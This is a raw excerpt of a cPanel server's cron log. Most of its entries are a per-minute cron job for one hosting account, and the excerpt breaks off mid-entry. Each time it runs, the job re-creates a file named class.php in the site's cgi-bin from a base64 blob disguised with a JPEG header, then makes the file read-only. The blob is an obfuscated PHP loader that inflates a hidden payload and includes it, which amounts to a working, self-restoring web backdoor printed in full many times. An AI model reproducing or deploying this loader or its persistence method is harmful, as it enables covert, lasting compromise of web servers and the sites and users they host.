Nov 12 13:36:01 server CROND[30375]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:37:01 server CROND[31202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:38:01 server CROND[32173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:39:01 server CROND[700]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 13:39:01 server CROND[701]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:40:01 server CROND[1570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:40:01 server CROND[1571]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 13:40:01 server CROND[1572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:40:01 server CROND[1573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:41:01 server CROND[2053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:42:01 server CROND[2887]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:42:01 server CROND[2888]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 13:43:01 server CROND[3460]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:44:01 server CROND[4368]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:45:01 server CROND[5192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:45:01 server CROND[5194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:45:01 server CROND[5193]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:46:01 server CROND[5958]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:47:01 server CROND[6792]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:48:01 server CROND[7616]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:49:01 server CROND[8451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 